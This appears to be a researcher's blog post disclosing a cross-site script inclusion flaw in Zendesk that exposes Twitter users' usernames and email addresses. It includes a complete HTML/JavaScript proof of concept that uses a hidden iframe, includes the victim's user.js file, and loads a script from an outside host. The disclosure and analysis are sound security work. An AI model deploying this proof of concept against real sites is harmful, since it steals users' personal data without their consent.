TL;DR Chaining a XSSI vulnerability in Zendesk and authorization issue in Twitter to access Twitter users' username and email address.
What is Cross-Site script inclusion vulnerability?
Browsers prevent pages of one domain from reading pages in other domains. But they do not prevent pages of a domain from referencing resources in other domains. In particular, they allow images to be rendered from other domains and scripts to be executed from other domains. An included script doesn't have its own security context. It runs in the security context of the page that included it. For example, if www.evil.example.com includes a script hosted on www.google.com then that script runs in the evil context not in the google context. So any user data in that script will "leak" [1].
Another definition:
A flaw caused by the failure to secure sensitive JSON-like responses against being loaded on third-party sites via <script src=...>. User-specific information in the response may be leaked to attackers [2].
Detail of Zendesk.com XSSI vulnerability:
Zendesk used a JavaScript file (https://xyzxyzx.zendesk.com/generated/javascripts/user.js) to store information of currently logged-in user. The most interesting data in this file was username and email address. It was possible to include this JavaScript file in a evil page, redirect user to evil page and access these information.
Twitter authorize Zendesk.com to access part of user data without any user interaction (I don't know why this should happen silently). So is it a security issue? In my opinion it totally depends on what Twitter shares with Zendesk! Based on data in user.js file only Twitter users' username and email address are shared with Zendesk (Without user perimission). These are interesting but I think this is not a security issue or at least its impact is low.
What happens when user request https://twitter.zendesk.com:
As Twitter share users' info with Zendesk, vulnerabilities (XSS, XSSI, ...) in Zendesk could leak these data. To ensure that user is currently logged into https://twitter.zendesk.com we force user's browser to send a request to https://twitter.zendesk.com:
1) Load https://twitter.zendesk.com in a hidden iframe in evil page.
2) With a delay load https://twitter.zendesk.com/generated/javascripts/user.js in script tag.
PoC:
<head>
<script>
function loadme()
{
address = ['https://assets.zendesk.com/assets/vendor/jquery-1.6.1-86096357efa9dc21044b775b3f361e15.js',
'https://twitter.zendesk.com/generated/javascripts/locale/0/1/1359507312.js',
'https://assets.zendesk.com/assets/bootstrap-f05ffba88f3ed500b90b259aa5512fc5.js',
'https://twitter.zendesk.com/generated/javascripts/user.js',
'http://coolhand.persiangig.com/b.js'];
for(var i=0;i<5;i++)
{
var tag=document.createElement('script');
tag.type='text/javascript';
tag.src=address[i];
handle=document.getElementsByTagName('head');
handle[0].appendChild(tag);
}
}
</script>
</head>
<body>
<iframe src="https://twitter.zendesk.com" frameborder="0" width="1" height="1" onload="loadme()"></iframe>
</body>
</html>
PoC Video:
At that point I've prepared a quick PoC [3] and assumed that victim was logged into https://twitter.zendesk.com.
Response from Twitter and Zendesk:
At first I've reported this issue to Twitter security, But they believed hat wasn't related to Twitter and Zendesk should fix this issue. It's obvious that who should fix the XSSI but as I mentioned Twitter authorize Zendesk to access users' data without any user interaction!
 |
| Response from Twitter Security to this issue |
 |
| Response from Zendesk to this issue |
[2] Zalewski. M, The Tangled Web: A Guide to Securing Modern Web Applications, 262.
[3] http://coolhand.persiangig.com/d707206c0a186e3dd5fd4d605bec7d80.html.
No comments:
Post a Comment